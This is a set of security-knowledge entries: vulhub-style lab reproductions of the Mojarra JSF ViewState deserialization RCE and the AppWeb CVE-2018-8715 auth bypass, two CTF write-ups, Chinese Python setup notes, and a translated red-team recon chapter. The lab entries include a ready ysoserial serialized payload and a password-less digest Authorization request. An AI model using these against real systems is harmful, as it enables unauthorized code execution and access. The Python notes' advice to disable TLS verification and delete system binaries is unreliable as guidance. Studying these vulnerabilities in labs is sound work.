# Mojarra JSF ViewState Deserialization Vulnerability [中文版本(Chinese version)](README.zh-cn.md) JavaServer Faces (JSF) is a standard for building Web applications, and Mojarra is a framework that implements JSF. The Mojarra that before 2.1.29-08 and 2.0.11-04, is not configured to encrypt the ViewState, so the web application may have a serious remote code execution (RCE) vulnerability. Reference links: - https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html - https://www.exploit-db.com/docs/48126 - https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf ## Setup Execute the following command to start a JSF application which using JDK7u21 and Mojarra 2.1.28: ``` docker compose up -d ``` After the application is started, visit `http://your-ip:8080` to see the demo page. ## Exploit Here is the structure of ViewState that encoding without a security layer: ![](1.png) According to this structure, we can use [ysoserial's Jdk7u21 Gadget](https://github.com/frohoff/ysoserial) to generate a payload: ``` $ java -jar ysoserial-master-SNAPSHOT.jar Jdk7u21 "touch /tmp/success" | gzip | base64 -w 0 H4sIAAVGF18AA61WzW8bRRR/Yye2Y9zmo/lsaZvQlnxAd/PlJsURbT5Ia3BIhNNUwocwXk/sbde7293ZZINEb/wBCJX/AJBoOPRCqx6QKm4tFyQkUFEluHADDhUSFz7e7G5iKwnYLV1pd2bf17z35jdv3tYv0Ghb0HWFrlPJ4aomZVT9KitcpHYpy/j32ndv33g0dCwE4FrQWpEK+Hfn3r/x0Z3b42HkmxsJAGg5dx7EE0KrryhGWbIdXTKsokRNqpSY5FKN6pKqc2bpVJNcW+OKxC3qSsusbGqUMzuNY9PlxXv61s2xMETScGBV1QtM52865Tyz0nBwFRV0W2M8jXQ3B/HV/CZnilFgNodwLjeTg8iqolEbf9tyGeG2jMsW5VlBS2WgcVWnZYbMKl6WW6peRGbrquFw0+FLlmEyi6vCaKcvKGKXK/SUa4pY/8bHsbyF3/izp6NY/GFCJEzwQkgP5Wa2Hnf9EYkt/xiQI5/d/+vul8gehbNxCMMLUZiIwqkovEigxWaWSrUVZtmqoV9KzxEgrxM4MGvoNqc6X6Gawxo/7/3w8QePfnuVQGRK1VWOk/DA4AqBhlnMAoFm3Ebm52uZ5jWktGUMBc1SNI7/AbGBl1SbwKEsd/LLQU6X6KZm0AKBRFrXmeWljKFQMrNpG75zsunL2H5CLtBCkXH75D5WUgSavM1aM6wyAWsgg5iQERMyYkL2MSF7mJC3MSF7mJDnFhdSuX2ly1pF1vdHfZdZcjaYUo55u0j1gsaslEhJrGAoThnxQ+D0Ey2PqiXfDoY/8/+dIRB/zVWYKWh2FPoJfPJk+ajpQYGX5bnlhWlXtdNIotywaivVlUM1MCdw8DReEIgGuSQw/SwymTUcS2HzqoBxIkCgJA5pAuLwXBQGCIw9BWAJnK93RyxH52qZydN5GyGu8G1LBNq9YqEaFee903a2XsvblnbQQuB4jVhwi6YULSgFrZWq9pbvZBSGMGcoGPwT6BgYzOwRSyXgZTgdh5dAworBDUcp9cq8bKLXisJsOwbDWDSYyxQC/QN7i2e1SSyTQgVNjsKYMDmOVSzLqXJ1gZpB/amKamkDi83oxPBIMpmcnBgZGR8Zm0CNvkwNkRT0QQhrKPqF72FohAiOUVF7IebREA74FZeTjCPBsXHoNpBbnsgB/EY8ogwH8ZvwBaAZJnHE0gjtKCWUz+EbFrTdiuOeYq/PDBTFrAM6PT6BLuhGjR6c+z4Ks0cCs2mPuo/ZSc/skM/c1+zzcBQ1xOwYHMflKwvEYHAn6JPIEVLNn0KYZO6A3DbyBSQv3/IUz3hBESHR663fB604xpEVghPQAk3ONbiOtoB8u3NnHRF3VkcUuqLQHYWeeu+saz+rv06VL3Q/mzsrPG8Ye+6oUzXvKNSqp3ocJnCiDlMYegXwi/krTPn301/rBP8njkn9OJ7aheM2j3/I+7ZX7W6n2F2TQwMeK8vcIODa73mYOCr8dyUsyNLO1V3pztztblHELFlsTcOgJTzs7uZP/Q97v26ZfRACkgFS4rgdlewEknJaX8dNrS7mrom94qjoE7etUV03uCcjTe9M9yheuv97c8eD6x+HIJSBRJkJ4HhIw36tuapfw3KDXV0D3zSx42vd0w16y+9qbVGlMfrw3led73yDR2Me4mK75rHGG9h+NvGSxeySoRVcM+h2Exsx0fuK9HGIrSVpkp4ZnhQnJ+auWzUyCpXHNd1/AEKwhdeSCwAA ``` Then, intercept and modify the http request from demo page, put the url-encoded payload into value of `javax.faces.ViewState` field: ![](2.png) `touch /tmp/success` has been successfully executed: ![](3.png)
sec-knowleage
# Can You See It? Category: Misc., 40 Points ## Description > All we got is this video. > > Can you please help? > > Good Luck! A video was attached. ## Solution Playing the video, we get a quick flickering of background colors. We can extract a portion to a GIF file as a demonstration: ```console root@kali:/media/sf_CTFs/checkpoint/Can_You_See_It/Can_You_See_It# ffmpeg -i Can_You_See_It.mp4 -ss 00:00:00 -to 00:00:03 can_you_see_it.gif ffmpeg version 4.1-1 Copyright (c) 2000-2018 the FFmpeg developers built with gcc 8 (Debian 8.2.0-12) configuration: --prefix=/usr --extra-version=1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared libavutil 56. 22.100 / 56. 22.100 libavcodec 58. 35.100 / 58. 35.100 libavformat 58. 20.100 / 58. 20.100 libavdevice 58. 5.100 / 58. 5.100 libavfilter 7. 40.101 / 7. 40.101 libavresample 4. 0. 0 / 4. 0. 0 libswscale 5. 3.100 / 5. 3.100 libswresample 3. 3.100 / 3. 3.100 libpostproc 55. 3.100 / 55. 3.100 Input #0, mov,mp4,m4a,3gp,3g2,mj2, from 'Can_You_See_It.mp4': Metadata: major_brand : isom minor_version : 512 compatible_brands: isomiso2mp41 encoder : Lavf58.35.100 Duration: 12:39:44.60, start: 0.000000, bitrate: 2 kb/s Stream #0:0(und): Video: mpeg4 (Simple Profile) (mp4v / 0x7634706D), yuv420p, 24x24 [SAR 1:1 DAR 1:1], 2 kb/s, 10 fps, 10 tbr, 10240 tbn, 10 tbc (default) Metadata: handler_name : VideoHandler Stream mapping: Stream #0:0 -> #0:0 (mpeg4 (native) -> gif (native)) Press [q] to stop, [?] for help [swscaler @ 0x55dfbd1454c0] No accelerated colorspace conversion found from yuv420p to bgr8. Output #0, gif, to 'can_you_see_it.gif': Metadata: major_brand : isom minor_version : 512 compatible_brands: isomiso2mp41 encoder : Lavf58.20.100 Stream #0:0(und): Video: gif, bgr8, 24x24 [SAR 1:1 DAR 1:1], q=2-31, 200 kb/s, 10 fps, 100 tbn, 10 tbc (default) Metadata: handler_name : VideoHandler encoder : Lavc58.35.100 gif frame= 30 fps=0.0 q=-0.0 Lsize= 5kB time=00:00:02.91 bitrate= 12.9kbits/s speed= 160x video:4kB audio:0kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 28.442623% ``` The result is: ![](images/can_you_see_it.gif) Let's check the metadata: ```console root@kali:/media/sf_CTFs/checkpoint/Can_You_See_It# exiftool Can_You_See_It/Can_You_See_It.mp4 ExifTool Version Number : 11.10 File Name : Can_You_See_It.mp4 Directory : Can_You_See_It File Size : 11 MB File Modification Date/Time : 2020:04:23 18:16:26+03:00 File Access Date/Time : 2020:05:08 00:20:54+03:00 File Inode Change Date/Time : 2020:05:08 00:21:36+03:00 File Permissions : rwxrwx--- File Type : MP4 File Type Extension : mp4 MIME Type : video/mp4 Major Brand : MP4 Base Media v1 [IS0 14496-12:2003] Minor Version : 0.2.0 Compatible Brands : isom, iso2, mp41 Movie Data Size : 11851996 Movie Data Offset : 44 Movie Header Version : 0 Create Date : 0000:00:00 00:00:00 Modify Date : 0000:00:00 00:00:00 Time Scale : 1000 Duration : 12:39:44 Preferred Rate : 1 Preferred Volume : 100.00% Preview Time : 0 s Preview Duration : 0 s Poster Time : 0 s Selection Time : 0 s Selection Duration : 0 s Current Time : 0 s Next Track ID : 2 Track Header Version : 0 Track Create Date : 0000:00:00 00:00:00 Track Modify Date : 0000:00:00 00:00:00 Track ID : 1 Track Duration : 12:39:44 Track Layer : 0 Track Volume : 0.00% Matrix Structure : 1 0 0 0 1 0 0 0 1 Image Width : 24 Image Height : 24 Media Header Version : 0 Media Create Date : 0000:00:00 00:00:00 Media Modify Date : 0000:00:00 00:00:00 Media Time Scale : 10240 Media Duration : 12:39:44 Media Language Code : und Handler Description : VideoHandler Graphics Mode : srcCopy Op Color : 0 0 0 Compressor ID : mp4v Source Image Width : 24 Source Image Height : 24 X Resolution : 72 Y Resolution : 72 Bit Depth : 24 Video Frame Rate : 10 Handler Type : Metadata Handler Vendor ID : Apple Encoder : Lavf58.35.100 Avg Bitrate : 2.08 kbps Image Size : 24x24 Megapixels : 0.000576 Rotation : 0 ``` So we have over 12 hours of this. Let's analyze the frames: ```python from collections import defaultdict from pprint import pprint as pp import numpy import hashlib import cv2 frames = set() vidcap = cv2.VideoCapture('Can_You_See_It/Can_You_See_It.mp4') success, image = vidcap.read() while success: frame = image.view(numpy.uint8) frame_hash = hashlib.md5(frame).hexdigest() if frame_hash not in frames: cv2.imwrite("frame{}.jpg".format(len(frames)), image) frames.add(frame_hash) success, image = vidcap.read() pp(frames) ``` Output: ```console root@kali:/media/sf_CTFs/checkpoint/Can_You_See_It# python3 analyze.py {'4184601e0763495d086a2677b41cda4b', '442f447dedf30e3a44cd5c05b803ac2e', '7bb1a90c3b6fb7d417f98816a16f5cdf'} ``` We see that we have three distinct frames altogether. They are plain white, plain gray and plain black. This means that we probably aren't dealing with encoded bits, since then we would expect only two distinct frames. This is where the name of the challenge provides a hint. "Can you see it?". See what, you ask? See the big picture, of course. If we treat each frame as a pixel, we can try to create an image. But first, we need to decide what the image dimensions will be, and for that, we need to know the amount of frames. ```python >>> import cv2 >>> vidcap = cv2.VideoCapture('Can_You_See_It/Can_You_See_It.mp4') >>> vidcap.get(cv2.CAP_PROP_FRAME_COUNT) 455846.0 ``` Since the width and the height need to be integers, there's only a limited number of values we can use. We just need to find all multipliers of 455846. The following script will try all legal image dimensions (assuming both dimensions must be at least 10 pixels), writing a unique pixel value for each unique frame. ```python import numpy import hashlib import cv2 import pickle, os, math from PIL import Image CACHE_FILE = "cache.db" COLORS = {0: (0, 0, 0), 1: (0xff, 0xff, 0xff), 2: (0xff, 0, 0)} MIN_DIMENSION_VAL = 10 # https://stackoverflow.com/questions/44061928/ def multipliers(m): yield (m, 1) finalVal = int(math.sqrt(m)) increment = 2 if m % 2 != 0 else 1 i = 3 if m % 2 != 0 else 2 while (i <= finalVal): if (m % i == 0): yield (m // i, i) i += increment if not os.path.exists(CACHE_FILE): frames_map = {} # Map a unique frame hash to a running index frames = [] # A cacheable list of all frame values as indexes vidcap = cv2.VideoCapture('Can_You_See_It/Can_You_See_It.mp4') success, image = vidcap.read() while success: arr = image.view(numpy.uint8) arr_hash = hashlib.md5(arr).hexdigest() if arr_hash not in frames_map: frames_map[arr_hash] = len(frames_map) frames.append(frames_map[arr_hash]) success,image = vidcap.read() assert(len(COLORS) >= len(frames_map)) with open(CACHE_FILE, "wb") as cache: pickle.dump(frames, cache) else: with open(CACHE_FILE, "rb") as cache: frames = pickle.load(cache) def get_next_color(): for x in frames: yield COLORS[x] for resolution in multipliers(len(frames)): if all(x > MIN_DIMENSION_VAL for x in resolution): colors = get_next_color() img = Image.new( 'RGB', (resolution[0], resolution[1]), "black") pixels = img.load() for j in range(img.size[1]): for i in range(img.size[0]): pixels[i, j] = next(colors) img.save("output_{}_{}.png".format(resolution[0], resolution[1]), "PNG") ``` Running it, we get two images: ```console root@kali:/media/sf_CTFs/checkpoint/Can_You_See_It# ls *.png output_1438_317.png output_719_634.png ``` `output_1438_317.png` contains the flag: ![](images/output_1438_317.png) The flag: `CSA{Ev3ry_mov1e_must_hav3_a_Purp0s3}`
sec-knowleage
## A numbers game (PPC, 50p) Description: People either love or hate math. Do you love it? Prove it! You just need to solve a bunch of equations without a mistake. ###ENG [PL](#pl-version) Server sends input in format: Hi, I heard that you're good in math. Prove it! Level 1.: x - 18 = -12 And we are supposed to send the solution to the equation. So for the example above we parse `-` as operation, `18` as operand and `-12` as result, and thus the solution is `-12 + 18`. We automate is wih a simple script that parses operation, operand and result and then applies corresponding operation (eg. + for -). ```python import re import socket from time import sleep def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("188.166.133.53", 11027)) regex = "Level \d+\.: x (.) (\d+) = (.+)" initial_data = str(s.recv(4096)) print(initial_data) while True: sleep(1) task = str(s.recv(4096)) m = re.search(regex, task) print(task) operation = m.group(1) operand = int(m.group(2)) result = int(m.group(3)) x = result if operation == "+": x = result - operand elif operation == "-": x = result + operand elif operation == "*": x = result / operand elif operation == "/": x = result * operand s.sendall(str(x) + "\n") pass main() ``` After 100 examples we get a flag: `IW{M4TH_1S_34SY}` ###PL version Serwer dostarcza dane w formacie: Hi, I heard that you're good in math. Prove it! Level 1.: x - 18 = -12 A naszym zadaniem jest rozwiązać podane równanie. Dla przykładu powyżej parsujemy `-` jako operacje, `18` jako operand oraz `-12` jako wynik, więc rozwiązaniem jest `-12 + 18`. Automatyzujemy to skryptem który parsuje operacje, operand oraz wynik a nastepnie wykorzystuje operacje przeciwną (np. + dla -). ```python import re import socket from time import sleep def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("188.166.133.53", 11027)) regex = "Level \d+\.: x (.) (\d+) = (.+)" initial_data = str(s.recv(4096)) print(initial_data) while True: sleep(1) task = str(s.recv(4096)) m = re.search(regex, task) print(task) operation = m.group(1) operand = int(m.group(2)) result = int(m.group(3)) x = result if operation == "+": x = result - operand elif operation == "-": x = result + operand elif operation == "*": x = result / operand elif operation == "/": x = result * operand s.sendall(str(x) + "\n") pass main() ``` Po 100 przykładach dostajemy flagę: `IW{M4TH_1S_34SY}`
sec-knowleage
# Pyhon --- **推荐工具/资源** - [pycharm](https://www.jetbrains.com/pycharm/) - [vscode](https://code.visualstudio.com/) - [jackzhenguo/python-small-examples](https://github.com/jackzhenguo/python-small-examples) --- ## 安装/配置/报错 ### 安装 **yum 安装** ```bash yum install epel-release 或 wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum -y install python36 python36-devel wget https://bootstrap.pypa.io/get-pip.py ## 安装pip3 python3 get-pip.py ``` **源代码编译方式安装** 安装依赖环境 ```bash yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel ``` 下载Python3 `wget https://www.python.org/ftp/python/3.6.1/Python-3.6.1.tgz` 安装python3 ```bash mkdir -p /usr/local/python3 tar zxvf Python-3.6.1.tgz cd Python-3.6.1 ./configure --prefix=/usr/local/python3 make make install 或者 make && make install ``` 添加到环境变量 ```bash ln -s /usr/local/python3/bin/python3 /usr/bin/python3 ``` ```vim vim ~/.bash_profile ## 永久修改变量 PATH=$PATH:/usr/local/python3/bin/ ``` `source ~/.bash_profile ` 检查 Python3 及 pip3 是否正常可用 ```bash python3 -V pip3 -V ``` --- ### 打包 **Pyinstaller** 安装 Pyinstaller ```bash pip3 install PyInstaller ``` 使用 Pyinstaller ```bash python3 PyInstaller.py -F test.py 或 python -m PyInstaller -F test.py ## -F 表示生成单个可执行文件 ## -w 表示去掉控制台窗口,这在GUI界面时非常有用.不过如果是命令行程序的话那就把这个选项删除吧 ## -p 表示你自己自定义需要加载的类路径,一般情况下用不到 ## -i 表示可执行文件的图标 ``` 文件中使用了第三方库的打包方式 在打包之前务必找到第三方库的包,把包复制到到跟 test.py 同目录下,然后再使用以上2种方式打包,否则会打包失败或者即使打包成功,程序也会闪退. exe文件生成 如果程序打包过程没有报错,则会生成3个文件夹(有时候是2个),其中名为 dist 的文件夹中会有一个 test.exe 文件,运行一下,如果没有问题就打包成功,可以把这个 exe 文件单独拿出去用,其他的生成的文件夹可以删掉了. **py2exe** py2exe 就是将 python 代码打包成 windows 可执行程序的一个 python 开源项目。 安装 ``` python -m pip install py2exe ``` 基础方式 setup.py ```py from distutils.core import setup import py2exe import sys sys.argv.append('py2exe') setup(console=["yourcode.py"]) ``` ``` python setup.py ``` 进阶方法 ```py from distutils.core import setup import py2exe import sys ## 允许程序通过双击的形式执行。 sys.argv.append('py2exe') py2exe_options = { ## 选项中 “includes” 是需要包含的文件,这里的”sip”是 PyQt 程序打包时需要添加的,如果不是 PyQt 程序不需要此项。 "includes": ["sip"], ## “dll_excludes”是需要排除的 dll 文件,这里的”MSVCP90.dll”文件,如果不排除的话会报 error: MSVCP90.dll: No such file or directory 错误。 "dll_excludes": ["MSVCP90.dll",], ## “compressed”为 1,则压缩文件 "compressed": 1, ## “optimize”为优化级别,默认为 0。 "optimize": 2, ## “ascii”指不自动包含 encodings 和 codecs。 "ascii": 0, ## bundle_files”是指将程序打包成单文件(此时除了 exe 文件外,还会生成一个 zip 文件。如果不需要 zip 文件,还需要设置 zipfile = None) ## 1 表示 pyd 和 dll 文件会被打包到单文件中,且不能从文件系统中加载 python 模块;值为 2 表示 pyd 和 dll 文件会被打包到单文件中,但是可以从文件系统中加载 python 模块。64位的Py2exe不要添加本句。 "bundle_files": 1, } setup( name = 'PyQt Demo', version = '1.0', ## “myico.ico” 是程序图标, ## 将 setup 函数中的 console 改为 windows, 即没有命令行窗口出现,如果使用 console 则表示有命令行窗口出现。 windows = [{ "script":'wordreplace.py',"icon_resources":[(1,"myico.ico")]}], zipfile = None, options = {'py2exe': py2exe_options} ) #如果 bundle_files 不为 1、2,则 dist 文件夹中还会包括一些 dll 文件和 pyd 文件(Python Dll 文件)。如果 bundle_files 为 2,dist 文件夹会包括一个 python##.dll 文件,如果为 1 则不会。 ## 如果没有使用 zipfile=None,还会生成一个 library.zip 文件。 ``` 打包后的 exe 不可执行,是由于缺少两个必要的文件,msvcr90.dll 和 Microsoft.VC90.CRT.manifest,其中 msvcr90.dll 的版本为 9.0.21022.8,详细解释见官网, 解决方法:将上述两个文件 copy 进 dist 文件夹,或者见官网的解决方式(在打包前,将这两个文件作为资源,直接复制到 dist 文件夹下)。 打包后的 exe 报错,说缺少文件,这个问题的主要原因是 python 代码 import 文件时,使用了某些模块提供的所谓 lazy import,使得打包时,py2exe 找不到类库真正的路径 解决方法:重新 import 类库文件的真实路径,然后重新打包,问题解决。 当我们想要将一些 dll 打包进 exe 里面,就需要修改 py2exe 的默认配置 --- ### 常见报错 - **UnicodeDecodeError: 'gbk' codec can't decode byte 0xad in position 9: illegal multibyte sequence** - 在 Linux 环境下运行即可 - **UnicodeDecodeError: 'ascii' codec can't decode byte 0xce in position 7: ordinal not in range(128)** - 路径有中文,修改下即可 - **DLL load failed: %1 不是有效的 Win32 应用程序** - python 的版本是32位的,重装成64位的即可 - **TabError: inconsistent use of tabs and spaces in indentation** 代码中空格和 tab 混用了 - **Python“Non-ASCII character 'xe5' in file”** Python 默认是以 ASCII 作为编码方式的,如果在自己的 Python 源码中包含了中文(或者其他非英语系的语言),此时即使你把自己编写的 Python 源文件以 UTF-8 格式保存了,但实际上,这依然是不行的。 解决办法很简单,只要在文件开头加入下面代码就行了 ```py ## -*- coding: UTF-8 -*- ``` 或 ```py #coding:UTF-8 ``` - **fatal error: Python.h: No such file or directory** For apt (Ubuntu, Debian...): ```bash sudo apt-get install python-dev ## for python2.x installs sudo apt-get install python3-dev ## for python3.x installs ``` For yum (CentOS, RHEL...): ```bash sudo yum install python-devel ## for python2.x installs sudo yum install python3-devel ## for python3.x installs ``` For dnf (Fedora...): ```bash sudo dnf install python2-devel ## for python2.x installs sudo dnf install python3-devel ## for python3.x installs ``` For zypper (openSUSE...): ```bash sudo zypper in python-devel ## for python2.x installs sudo zypper in python3-devel ## for python3.x installs ``` For apk (Alpine...): ```bash ## This is a departure from the normal Alpine naming ## scheme, which uses py2- and py3- prefixes sudo apk add python2-dev ## for python2.x installs sudo apk add python3-dev ## for python3.x installs ``` For apt-cyg (Cygwin...): ```bash apt-cyg install python-devel ## for python2.x installs apt-cyg install python3-devel ## for python3.x installs ``` - **Python Pip broken wiith sys.stderr.write(f“ERROR: {exc}”)** 由于 python 官方停止了对 python2 的维护,以后大部分和 pip2 有关的操作都会报这个错,我预估一下,这个应该是以后我们遇到最常见的问题之一 ```bash curl https://bootstrap.pypa.io/2.7/get-pip.py --output get-pip.py python get-pip.py ``` - **requests.exceptions.ProxyError** ```python proxies = { "http": None, "https": None} requests.get("http://xxx.com", proxies=proxies) ``` - **Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed))** 加上 verify=False ```python response = requests.get("https://127.0.0.1", verify=False) ``` - **return Command 'lsb_release -a' returned non-zero exit status 1** ```bash rm /usr/bin/lsb_release ``` - **/usr/lib/python3/dist-packages/secretstorage/dhcrypto.py:15: CryptographyDeprecationWarning: int_from_bytes is deprecated, use int.from_bytes instead** ```bash pip3 install cryptography==3.3.2 ``` - **ModuleNotFoundError: No module named 'yaml'** ``` pip install pyyaml ``` - **Centos7 pip2.7升级失败解决方法** 升级跨度太大导致的问题,所以要解决这个问题只能通过升级至中间版本才可以解决 ``` wget https://files.pythonhosted.org/packages/0b/f5/be8e741434a4bf4ce5dbc235aa28ed0666178ea8986ddc10d035023744e6/pip-20.2.4.tar.gz tar -zxvf pip-20.2.4.tar.gz cd pip-20.2.4/ sudo python setup.py install pip install -U pip python2 -m pip install --upgrade pip ``` --- ## 包/模块管理 ### import 与 from...import 在 python 用 import 或者 from...import 来导入相应的模块. - 将整个模块(somemodule)导入,格式为: `import somemodule` - 从某个模块中导入某个函数,格式为: `from somemodule import somefunction` - 从某个模块中导入多个函数,格式为: `from somemodule import firstfunc, secondfunc, thirdfunc` - 将某个模块中的全部函数导入,格式为: `from somemodule import *` ```py import sys print('================Python import mode=========================='); print ('命令行参数为:') for i in sys.argv: print (i) print ('\n python 路径为',sys.path) ``` ```py from sys import argv,path ## 导入特定的成员 print('================python from import===================================') print('path:',path) ## 因为已经导入path成员,所以此处引用时不需要加sys.path ``` --- ### pip指定版本安装 检查一遍 pip 和 pip3 分别指向的 Python ```bash pip -V pip3 -V ``` 在 linux 安装了多版本 python 时(例如 python2.6 和 2.7),pip 安装的包不一定是用户想要的位置,此时可以用 -t 选项来指定位置 `pip install -t /usr/local/lib/python2.7/site-packages/ xlrd` 或 ```bash python2 -m pip install xxxxx ``` --- ### 虚拟环境 virtualenv **安装virtualenv** `pip install virtualenv` **创建环境** 创建虚拟环境 `virtualenv envtest` 或指定版本 `virtualenv -p /usr/bin/python3 envtestv3` 进入虚拟环境的script路径,并执行 `activate` 就可以安装模块了 如果你的虚拟环境安装库的时候出问题,比如python3环境,需要安装 pip3 默认情况下,virtualenv会引用系统python环境中 site-­packages 中的库,并将其复制到虚拟python环境的库中.我们可以设置 --no-site-packages 参数取消对系统Python库的引用,以此来创建一个完全纯净的python环境. --- ### 离线安装 **压缩包** ``` python setup.py install ``` **whl 包** - https://pypi.org/ ``` pip install xxx.whl ``` --- ### 自动生成 requirements.txt 文件 ```bash pip install pipreqs pipreqs . ``` --- ## 版本问题 ### input() python2中的`input()`函数:获取当前输入的内容,并将其作为指令来处理 python3中的`input()`函数:获取当前输入的内容,并将其作为字符串来处理 如果想在python2让`input`函数实现python3中相同的功能,就需要使用`raw_input()`函数 --- ## 反编译 **在线工具** - [python反编译](https://tool.lu/pyc/) --- ## 一些项目 **系统信息** * [giampaolo/psutil](https://github.com/giampaolo/psutil) **爬虫** * [Scrapy](./笔记/爬虫.md#Scrapy) * [VeNoMouS/cloudscraper](https://github.com/VeNoMouS/cloudscraper) - A Python module to bypass Cloudflare's anti-bot page. **图像识别** * 人脸识别 * [face_recognition](./笔记/图像识别.md#face_recognition) - 人像识别 * ocr * [chineseocr_lite](./笔记/图像识别.md#chineseocr_lite) - 超轻量级中文ocr **网络编程** * [Urllib](./函数/网络编程.md#Urllib) * [Requests](./函数/网络编程.md#Requests) **文本处理** * [ftfy](./函数/文本处理.md#ftfy) **IO操作** * [File](./函数/IO操作.md#File) **可视化** * pyecharts * [big_screen](https://github.com/TurboWay/big_screen) - 数据大屏可视化 **集成** * Fabric **终端呈现方式** * [tqdm/tqdm](https://github.com/tqdm/tqdm) * [rsalmei/alive-progress](https://github.com/rsalmei/alive-progress) * https://github.com/Textualize/rich **语言** * [mozillazg/python-pinyin](https://github.com/mozillazg/python-pinyin) - 汉字转拼音 * [lxneng/xpinyin](https://github.com/lxneng/xpinyin) - 汉字转拼音,比较旧了,不推荐 * [letiantian/Pinyin2Hanzi](https://github.com/letiantian/Pinyin2Hanzi) - 拼音转汉字, 拼音输入法引擎, pin yin -> 拼音 * [fxsjy/jieba](https://github.com/fxsjy/jieba) - 结巴中文分词 **正则** - [asweigart/humre](https://github.com/asweigart/humre) - A human-readable regular expression module for Python.
sec-knowleage
from library import * i, o, t = load_npz(sys.argv[1]) normalize(t) smooth(t, 25) align_fft(t, 35000) print_corr(t) i, o, t = filter_corr(i, o, t, 0.4) print len(t) save_npz(sys.argv[2], i, o, t)
sec-knowleage
# AppWeb认证绕过漏洞(CVE-2018-8715) AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。 AppWeb可以进行认证配置,其认证方式包括以下三种: - basic 传统HTTP基础认证 - digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头 - form 表单认证 其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为`null`(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。 参考链接: - https://ssd-disclosure.com/index.php/archives/3676 ## 漏洞环境 执行如下命令启动一个带有digest认证的Appweb 7.0.1服务器: ``` docker compose up -d ``` 访问`http://your-ip:8080`,可见需要输入账号密码。 ## 漏洞复现 利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为`admin`。 构造头`Authorization: Digest username=admin`,并发送如下数据包: ``` GET / HTTP/1.1 Host: example.com Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Authorization: Digest username=admin ``` 可见,因为我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session: ![](1.png) 设置这个session到浏览器,即可正常访问需要认证的页面: ![](2.png)
sec-knowleage
# 第2章 发球前——红队侦察 > 译者:[@Snowming](https://github.com/Snowming04) ![](../images/chapter_2/2-1.PNG) 在 The Hacking Playbook 2 中,前面的发球部分重点介绍了一些不同的工具,如 Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP Screenshot、漏洞扫描器(包括 nessus,openvas)、Burp 套件等。这些工具我们可以在外网或内网络使用,对目标的基础设施进行侦察或扫描。在本书中我们将延续这一做法,然后从红队的角度对侦察阶段进行拓展。 ## 环境探测 对于红队来说,这往往是进攻的好时机。你不仅需要随时准备好去攻击基础设施,还需要不断地寻找它的漏洞。我们可以通过使用不同的工具来进行环境扫描、服务探测、检索云计算配置错误。这些活动有助于你收集有关目标基础设施的更多信息,并找到攻击的最好方法。 ### 扫描结果差异化分析 对于所有客户机,我们要做的第一件事就是设置不同的监视脚本。这些通常只是一些能快速完成的 bash 脚本,它们每天通过电子邮件向我们发送客户机网络的差异。当然,在扫描之前,确保你有适当合法的授权来执行扫描。 对于一般不太大的客户机网络,我们设置简单的 cronjob 来执行外部端口差异化分析。例如,我们可以创建一个快速的 Linux bash 脚本来完成这项艰巨的工作(请记住替换下面脚本中的 IP 范围): - #!/bin/bash - mkdir /opt/nmap_diff - d=$(date +%Y-%m-%d) - y=$(date -d yesterday +%Y-%m-%d) - /usr/bin/nmap -T4 -oX /opt/nmap_diff/scan_$d.xml 10.100.100.0/24 ><br> /dev/null 2>&1 - if [ -e /opt/nmap_diff/scan_$y.xml ]; then - /usr/bin/ndiff /opt/nmap_diff/scan_$y.xml /opt/nmap_diff/scan_$d.xml ><br> /opt/nmap_diff/diff.txt - fi > 译者注:上面这段脚本中使用了正则表达式。所以本小节的英文名字叫 Regular Nmap Diffing。 这是一个非常简单的脚本,它每天用默认的端口运行 nmap,然后使用 ndiff 比较结果。然后,我们可以获取这个脚本的输出结果,并让它把每天发现的新端口及时通知我们的团队。<br> <img src="../images/chapter_2/2-2.PNG" width = "500" height = "200" alt="图片名称" align=center /> 在上一本书中,我们着重讨论了 [Masscan](https://github.com/robertdavidgraham/masscan) 的好处,以及它比 nmap 的速度快多少。Masscan 的开发者说,如果你的网络带宽足够大,你可以在6分钟内扫描完毕整个互联网。所以说,当扫描大的范围时,Masscan 是很可靠的。Masscan 对我们最初的侦察很有用,但通常不用于比较差异。 **实验**:<br> 